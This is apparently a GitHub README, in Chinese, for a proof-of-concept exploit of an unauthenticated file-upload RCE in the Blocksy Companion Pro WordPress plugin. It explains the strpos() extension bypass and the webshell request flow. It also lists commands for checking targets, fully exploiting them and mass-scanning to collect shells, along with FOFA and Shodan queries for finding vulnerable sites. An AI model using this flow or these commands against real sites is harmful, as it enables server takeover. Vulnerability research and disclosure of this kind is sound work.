shinthink/CVE-2026-58480
GitHub: shinthink/CVE-2026-58480
CVE-2026-58480 漏洞 PoC 利用工具,针对 Blocksy Companion Pro 插件未授权任意文件上传导致的 RCE 漏洞提供检测与利用能力。
Stars: 0 | Forks: 0
CVE-2026-58480 — Blocksy Companion Pro 未授权文件上传 RCE
Advanced Reviews → save_attachments → Custom Fonts strpos() 绕过 → shell.woff2.php
## 概述 **CVE-2026-58480**(也记录为 **CVE-2026-15158**)是 **Blocksy Companion Pro** < 2.1.47(Blocksy WordPress 主题的高级附加组件,拥有 300,000+ 活跃安装量)中一个严重的(CVSS 9.8)未授权任意文件上传漏洞。 **Advanced Reviews** 功能(WooCommerce Extra 的一部分)中的 `save_attachments` AJAX handler 允许在未经身份验证的情况下上传文件。**Custom Fonts** 扩展通过 `strpos()` 子字符串检查来验证上传的 `.woff2` / `.ttf` 文件,而不是检查实际的文件扩展名。攻击者可以使用像 `shell.woff2.php` 这样的双扩展名文件名来绕过此限制:`.woff2` 匹配通过了子字符串检查,而 `.php` 则在服务器上被执行。 ### 受影响版本 | 版本 | 状态 | |---|---| | < 2.1.47 | 存在漏洞 | | 2.1.47+ | 已修复 | ## 漏洞机制 ### 根本原因 Custom Fonts 扩展注册了一个 `wp_check_filetype_and_ext` filter,该 filter 使用 `strpos()`(子字符串匹配)来验证文件名,而不是通过 `PATHINFO_EXTENSION` 检查实际的文件扩展名: ``` // framework/premium/extensions/custom-fonts/extension.php#L137 (reconstructed) add_filter('wp_check_filetype_and_ext', function($data, $file, $filename, $mimes, $real_mime) { if (strpos($filename, '.woff2') !== false || strpos($filename, '.ttf') !== false) { $data['ext'] = 'woff2'; $data['type'] = 'font/woff2'; } return $data; }, 10, 5); ``` Advanced Reviews 中的 `save_attachments` 函数会调用标准的 WordPress 上传处理流程,该流程会触发此 filter。名为 `shell.woff2.php` 的文件能够通过验证,是因为 `.woff2` 作为子字符串存在 —— 该 filter 并不会验证它是否为最后的扩展名。 ### 攻击流程 ``` POST /wp-admin/admin-ajax.php action=blc_save_review_attachments blc-review-images[] = shell.woff2.php (multipart, PHP payload) → wp_check_filetype_and_ext filter: ".woff2" found → approved → File saved to wp-content/uploads/YYYY/MM/shell.woff2.php → GET /wp-content/uploads/YYYY/MM/shell.woff2.php?cmd=id → RCE as www-data ``` ### 源码位置 | 文件 (Trac) | 行 | 用途 | |---|---|---| | `framework/premium/extensions/custom-fonts/extension.php` | 137 | `strpos()` 验证 filter | | `framework/premium/extensions/woocommerce-extra/features/advanced-reviews/feature.php` | 811 | `save_attachments` handler | ## 安装 ``` git clone https://github.com/shinthink/CVE-2026-58480.git cd CVE-2026-58480 pip install requests ``` ## 使用方法 ``` # 指纹 target python exploit.py -u https://target.com --check # 完整 exploit python exploit.py -u https://target.com # 批量 scan python exploit.py -f targets.txt -o shells.txt ``` ## FOFA / Shodan ``` FOFA: body="/wp-content/themes/blocksy/" Shodan: http.html:"blocksy-companion" ``` ## 参考 - [NVD CVE-2026-58480](https://nvd.nist.gov/vuln/detail/CVE-2026-58480) - [OpenCVE CVE-2026-15158](https://app.opencve.io/cve/CVE-2026-15158) — 参数 `blc-review-images[]` - [FreshySites 技术分析](https://freshysites.com/security-bulletins/blocksy-companion-plugin-vulnerability-cve-2026-15158/) — `wp_check_filetype_and_ext` filter - [Wordfence 安全通告](https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/blocksy-companion/blocksy-companion-2146) - [SecurityPointBreak](https://securitypointbreak.com/2026/07/08/critical-blocksy-wordpress-plugin-bug-lets-attackers-skip-login-entirely/) - [VulnCheck 安全通告](https://www.vulncheck.com/advisories/blocksy-companion-pro-unauthenticated-file-upload-via-save-attachments) - [WordPress Trac — Custom Fonts](https://plugins.trac.wordpress.org/browser/blocksy-companion/tags/2.1.46/framework/premium/extensions/custom-fonts/extension.php#L137) - [WordPress Trac — Advanced Reviews](https://plugins.trac.wordpress.org/browser/blocksy-companion/tags/2.1.46/framework/premium/extensions/woocommerce-extra/features/advanced-reviews/feature.php#L811) ## 免责声明 此漏洞利用程序仅供教育和授权安全研究使用。未经所有者明确许可,请勿用于攻击任何系统。标签:CISA项目, Python, WordPress插件, 字符串匹配, 文件完整性监控, 无后门, 编程工具, 远程代码执行, 逆向工具